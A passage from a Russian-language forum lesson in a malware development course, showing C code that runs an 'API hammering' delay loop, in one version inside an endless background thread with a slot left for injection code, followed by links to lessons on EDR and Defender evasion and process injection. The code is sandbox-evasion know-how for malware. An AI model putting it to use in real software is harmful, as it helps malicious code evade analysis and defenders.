Фрагмент кода ниже показывает главную функцию, использующую ранее упомянутую технику.

C:
int main() {

  DWORD T0  = NULL,
        T1  = NULL;

  T0 = GetTickCount64();

  // Задержка выполнения на '5' секунд по количеству циклов
  if (!ApiHammering(SECTOSTRESS(5))) {
    return -1;
  }

  T1 = GetTickCount64();

  printf(">>> ApiHammering задержал выполнение на : %d \n", (DWORD)(T1 - T0));

  printf("[#] Нажмите <Enter>, чтобы выйти ... ");
  getchar();

  return 0;
}

API Hammering в потоке

Функцию ApiHammering можно выполнить в потоке, который работает в фоновом режиме до завершения выполнения основного потока. Для этого можно использовать функцию CreateThread из WinAPI. Функции ApiHammering следует передать значение -1, что заставит ее выполняться в бесконечном цикле.

Главная функция, показанная ниже, создает новый поток и вызывает функцию ApiHammering со значением -1.

C:
int main() {

    DWORD dwThreadId = NULL;

    if (!CreateThread(NULL, NULL, ApiHammering, (LPVOID)-1, NULL, &dwThreadId)) {
        printf("[!] CreateThread завершилось ошибкой: %d \n", GetLastError());
        return -1;
    }

    printf("[+] Поток %d был создан для выполнения ApiHammering в фоновом режиме\n", dwThreadId);

    /*

        Место для вставки кода инъекции

    */

    printf("[#] Нажмите <Enter>, чтобы выйти ... ");
    getchar();

    return 0;
}
 
Автор темы Похожие темы Форум Ответы Дата
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 6
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 5
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 3
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
Похожие темы
Уроки Разработка вирусов-35.Обход EDRs.Последняя тема цикла
Уроки Разработка вирусов-34.Обход Windows defender
Уроки Разработка вирусов-33.Уменьшение вероятности детекта зверька
Уроки Разработка вирусов-32.Открываем врата ада
Уроки Разработка вирусов-30.Черпаем силы в антиотладке
Уроки Разработка вирусов-29. Предельная техника-2. Практика. Реализуем техники инъекции через сисколы
Уроки Разработка вирусов-28. Предельная техника. Разборка с сисколами
Уроки Разработка вирусов-27.Кунгфу-2.Изучаем API Hooking
Уроки Разработка вирусов-26. Изучаем кунгфу-1. Скрытие таблицы импорта
Уроки Разработка вирусов-25. Скрытие строк
Уроки Разработка вирусов-24. Изучаем технику Spoofing
Уроки Разработка вирусов-23. Контроль выполнения полезной нагрузки
Уроки Разработка вирусов-22.Изучаем технику Stomping Injection
Уроки Разработка вирусов-21.Инъекция отображаемой памяти
Уроки Разработка вирусов-20.Вызов кода через функции обратного вызова
Уроки Разработка вирусов-19.Изучаем технику APC Injection
Уроки Разработка малвари-18.Определение PID нужного процесса, или перечисления процессов
Уроки Разработка вирусов-17.Изучаем технику Thread Hijacking
Уроки Разработка вирусов-16.Разборка с цифровой подписью зверька
Уроки Разработка вирусов-15. Прячем Payload в реестре
Верх Низ